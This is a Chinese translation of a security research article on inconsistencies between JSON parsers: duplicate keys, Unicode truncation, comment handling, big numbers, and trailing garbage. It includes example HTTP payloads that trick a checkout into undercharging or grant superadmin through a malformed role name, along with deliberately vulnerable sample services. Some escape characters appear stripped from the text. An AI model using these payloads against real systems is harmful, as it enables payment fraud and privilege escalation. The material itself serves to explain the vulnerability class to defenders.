本文由团队大佬1z3r0翻译,原文链接:https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities
前言
作者发现各类JSON解析器针对相同的JSON字符串解析结果存在差异,产生差异的原因为:
- JSON RFC标准本身存在不同版本,同时也有JSON5,HJSON等扩展标准,不同标准之间存在差异。
- RFC标准定义中对某些技术细节采用开放性描述,导致具体实现存在差异。
已经发现可能导致安全问题的差异有以下5种:
- 重复键的优先级存在差异
- 字符截断和注释
- JSON序列化怪癖
- 浮点数及整数表示
- 宽容解析与一次性bug
1.重复键的优先级存在差异
下面这个JSON字符串,根据官方文档的描述,obj["test]
的值,无论是1,2还是解析错误,都是允许的。
obj = {"test": 1, "test": 2}
甚至还有开发人员,利用部分JSON解析器仅返回最后一个key对应值的特性,创建自文档化的JSON:
代码语言:javascript复制obj = {"phone": "phone用来储存用户电话", "phone": "2333"}
//部分JSON解析器仅返回最后一个key对应的值,所以利用重复建值储存字段描述。
下面是一个优先级差异导致安全问题的场景,Cart SERVICE执行订单校验逻辑,校验通过后转发至Payment SERVICE进行支付相关逻辑:
恶意payload,第二类商品包含了重复键qty
:
POST /cart/checkout HTTP/1.1
...
Content-Type: application/json
{
"orderId": 10,
"paymentInfo": {
//...
},
"shippingInfo": {
//...
},
"cart": [
{
"id": 0,
"qty": 5
},
{
"id": 1,
"qty": -1,
"qty": 1
}
]
}
Cart SERVICE使用python标准库中的JSON解析器,针对重复键,将返回最后一个键值对,即{"id":1,"qty":1},可以通过订单校验。
@app.route('/cart/checkout', methods=["POST"])
def checkout():
# 1a: Parse JSON body using Python stdlib parser.
data = request.get_json(force=True)
# 1b: Validate constraints using jsonschema: id: 0 <= x <= 10 and qty: >= 1
# See the full source code for the schema
jsonschema.validate(instance=data, schema=schema)
# 2: Process payments
resp = requests.request(method="POST",
url="http://payments:8000/process",
data=request.get_data(),
)
# 3: Print receipt as a response, or produce generic error message
if resp.status_code == 200:
receipt = "Receipt:n"
for item in data["cart"]:
receipt = "{}x {} @ ${}/unitn".format(
item["qty"],
productDB[item["id"]].get("name"),
productDB[item["id"]].get("price")
)
receipt = "nTotal Charged: ${}n".format(resp.json()["total"])
return receipt
return "Error during payment processing"
Payment SERVICE 是一个Golang服务,使用了高性能的第三方JSON解析器(buger/jsonparser),针对重复键,它会返回第一个键值对,即{"id":1,"qty":-1}
func processPayment(w http.ResponseWriter, r *http.Request) {
var total int64 = 0
data, _ := ioutil.ReadAll(r.Body)
jsonparser.ArrayEach(
data,
func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
// Retrieves first instance of a duplicated key. Including qty = -1
id, _ := jsonparser.GetInt(value, "id")
qty, _ := jsonparser.GetInt(value, "qty")
total = total productDB[id]["price"].(int64) * qty;
},
"cart")
//... Process payment of value 'total'
// Return value of 'total' to Cart service for receipt generation.
io.WriteString(w, fmt.Sprintf("{"total": %d}", total))
}
如果 Cart SERVICE在校验数据通过之后,没有将通过校验的数据重新序列化为字符串发送给Payment SERVICE,而是直接将原始请求中的JSON字符串转发给Payment SERVICE,就会导致安全问题发生:
代码语言:javascript复制HTTP/1.1 200 OK
...
Content-Type: text/plain
Receipt:
5x Product A @ $100/unit
1x Product B @ $200/unit
Total Charged: $300
2.字符截断和注释
还可以利用字符截断及注释来引发键冲突,来扩展受重复键优先级影响的解析器打击面。
字符截断
当解析到某些特定字符时,有些解析器会截断字符串,而有些则不会。以下的字符串在某些后序优先的解析器中,被认为存在重复项:
代码语言:javascript复制
{"test": 1, "test[raw x0d byte]": 2}
{"test": 1, "testud800": 2}
{"test": 1, "test"": 2}
{"test": 1, "test": 2}
这类畸形字符串,对多轮解析和序列化/反序列化来说,结果是不稳定的。例如U D800
到U DFFF
在UTF-16中是一个空段,即这些码点永久保留不映射到任何Unicode字符。当其被当做UTF-8解码时,会被认为是非法字符。
参考:Unicode编码解析
所有示例字符串都与第一节中的示例有相同的利用方式,但是,某些允许对非法Unicode进行编码和解码的环境(例如Python 2.x),在进行序列化和反序列化字符串时,可能容易受到复杂的攻击。
让我们从Python 2.x 中unicode编码/解码的行为开始:
➜ ~ python
Python 2.7.16 (default, Oct 21 2019, 14:41:45)
[GCC 4.2.1 Compatible Apple LLVM 11.0.0 (clang-1100.0.33.8)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import json
>>> import ujson
#序列化非法字符
>>> u"asdfud800".encode("utf-8")
'asdfxedxa0x80'
>>> json.dumps({"test": "asdfxedxa0x80"})
'{"test": "asdf\ud800"}'
#尝试分别用标准库json及第三方库ujson对字符串进行反序列化
>>> json.loads('{"test": 1, "test\ud800": 2}')
{u'test': 1, u'testud800': 2}
>>> ujson.loads('{"test": 1, "test\ud800": 2}')
{u'test': 2}
>>>
下面是针对该问题的利用场景,攻击者可以使用解析缺陷绕过权限检查。例如,创建一个superadminud888
用户,该用户可能在进行权限检查时被认为是superadmin
用户。前提是目标系统支持对非法的unicode字符编码/解码,并且数据库及系统不会抛出异常(比较困难)。
如下为一个多用户系统,其中组织管理员允许创建自定义的用户角色,此外,superadmin
角色拥有跨组织访问权限
首先,尝试创建一个superadmin权限的用户:
代码语言:javascript复制
POST /user/create HTTP/1.1
Content-Type: application/json
{
"user": "exampleUser",
"roles": [
"superadmin"
]
}
HTTP/1.1 401 Not Authorized
...
Content-Type: application/json
{"Error": "Assignment of internal role 'superadmin' is forbidden"}
当我们尝试通过User API创建superadmin角色用户时,由于服务端安全策略,请求被阻止。在这里,我们假设User API使用行为良好且合规的JSON解析器,为了影响下游解析器,我们创建一个恶意角色:
代码语言:javascript复制
POST /role/create HTTP/1.1
...
Content-Type: application/json
{
"name": "superadminud888"
}
HTTP/1.1 200 OK
...
Content-type: application/json
{"result": "OK: Created role 'superadminud888'"}
再创建一个恶意角色的用户:
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "exampleUser",
"roles": [
"superadminud888"
]
}
HTTP/1.1 200 OK
...
Content-Type: application/json
{"result": "OK: Created user 'exampleUser'"}
获取权限接口,同样也会正确的处理畸形字符串:
GET /permissions/exampleUser HTTP/1.1
...
HTTP/1.1 200 OK
...
Content-type: application/json
{
"roles": [
"superadminud888"
]
}
当Admin API使用ujson时,在鉴权流程中,我们的角色会被截断为superadmin,获取到跨组织访问权限
@app.route('/admin')
def admin():
username = request.cookies.get("username")
if not username:
return {"Error": "Specify username in Cookie"}
username = urllib.quote(os.path.basename(username))
url = "http://permissions:5000/permissions/{}".format(username)
resp = requests.request(method="GET", url=url)
# "superadminud888" will be simplified to "superadmin"
ret = ujson.loads(resp.text)
if resp.status_code == 200:
if "superadmin" in ret["roles"]:
return {"OK": "Superadmin Access granted"}
else:
e = u"Access denied. User has following roles: {}".format(ret["roles"])
return {"Error": e}, 401
else:
return {"Error": ret["Error"]}, 500
注释截断
许多JSON库都支持JavaScript解释器环境中的无引号值和注释语法(例如:/*
*/
),但这不是正式规范的一部分,支持此类功能的解析器可以处理如下字符串:
obj = {"test": valWithoutQuotes, keyWithoutQuotes: "test" /* 支持注释 */}
当有两个支持无引号值的解析器,但仅有一个支持注释时,以下畸形字符串可以将注释逃逸为重复键:
代码语言:javascript复制obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
以下为不同解析器的结果:
GoLang的GoJay库
- description = "Duplicate with comments"
- test = 2
- extra = ""
Java的JSON-iterator库
- description = "Duplicate with comments"
- extra = "/*"
- extra2 = "*/"
- test = 1
直接使用注释,有时也可以奏效
代码语言:javascript复制obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}
Java的GSON库
{"description":"Comment support","test":1,"extra":"a"}
Ruby的simdjson库
{"description":"Comment support","test":2,"extra":"a","extra2":"b"}
3.JSON序列化怪癖
目前为止,我们讨论的都是解析JSON的问题,但几乎所有实现都支持JSON编码(也称作序列化),让我们看几个例子:
优先顺序差异:序列化 vs 反序列化
Java的JSON-iterator 有如下输入及输出 输入:
代码语言:javascript复制obj = {"test": 1, "test": 2}
输出:
代码语言:javascript复制obj["test"] // 1
obj.toString() // {"test": 2}
如上所示,通过key检索获得的值,和序列化的值不同。
生成重复键值的字符串
根据规范,序列化重复的键是可以接受的,例如C 的Rapidjson支持生成重复的序列化字符串: 输入:
代码语言:javascript复制obj = {"test": 1, "test": 2}
输出:
代码语言:javascript复制obj["test"] // 2
obj.toString() // {"test": 1, "test": 2}
4.浮点数及整数表示
大数解码不一致
如果解码不正确,大数可能被解码为MAX_INT
或0
(接近负无穷时可能为MIN_INT
)。
如下数字:
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
可能解码为多种表现形式,例如:
代码语言:javascript复制999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9.999999999999999e95
1E 96
0
9223372036854775807
第一节中,Payment API所使用的的Golang jsonparser库,会将大数解码为0,而Cart API将正常的解码数字,我们可以利用该问题,构造另一种利用方式来获取免费的物品。
代码语言:javascript复制POST /cart/checkout HTTP/1.1
...
Content-Type: application/json
{
"orderId": 10,
"paymentInfo": {
//...
},
"shippingInfo": {
//...
},
"cart": [
{
"id": 8,
"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
}
]
}
HTTP/1.1 200 OK
...
Content-Type: text/plain
Receipt:
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999x $100 E-Gift Card @ $100/unit
Total Charged: $0
无穷数表示不一致
正式RFC不支持正负无穷以及NaN(非数字)。但是许多解析器都有自己的处理方式,并且可能导致多种不同结果: 输入:
代码语言:javascript复制{"description": "Big float", "test": 1.0e4096}
输出:
{"description":"Big float","test":1.0e4096}
{"description":"Big float","test":Infinity}
{"description":"Big float","test":" Infinity"}
{"description":"Big float","test":null}
{"description":"Big float","test":Inf}
{"description":"Big float","test":3.0e14159265358979323846}
{"description":"Big float","test":9.218868437227405E 18}
在某些语言中,类型转换可能出现问题,比如如下例子,字符串"Infinity"
与数字0
被认为是相同的:
<?php
echo 0 == 1.0e4096 ? "True": "False" . "n"; # False
echo 0 == "Infinity" ? "True": "False" . "n"; # True
?>
5.宽容解析与一次性bug
尾部污染
可以通过在JSON字符串之后添加=
号,并且将请求的Content-Type设置为x-www-form-urlencoded
,绕过同源策略的限制,浏览器允许发送如下的跨域请求:
POST / HTTP/1.1
...
Content-Type: application/x-www-form-urlencoded
{"test": 1}=
如果服务端没有对Content-Type进行校验,并且直接将body内容作为JSON字符串处理,就可能导致安全问题。
拒绝服务
甚至有部分解析器在解析畸形字符串时崩溃,具体细节需要问题修复之后才对外公开。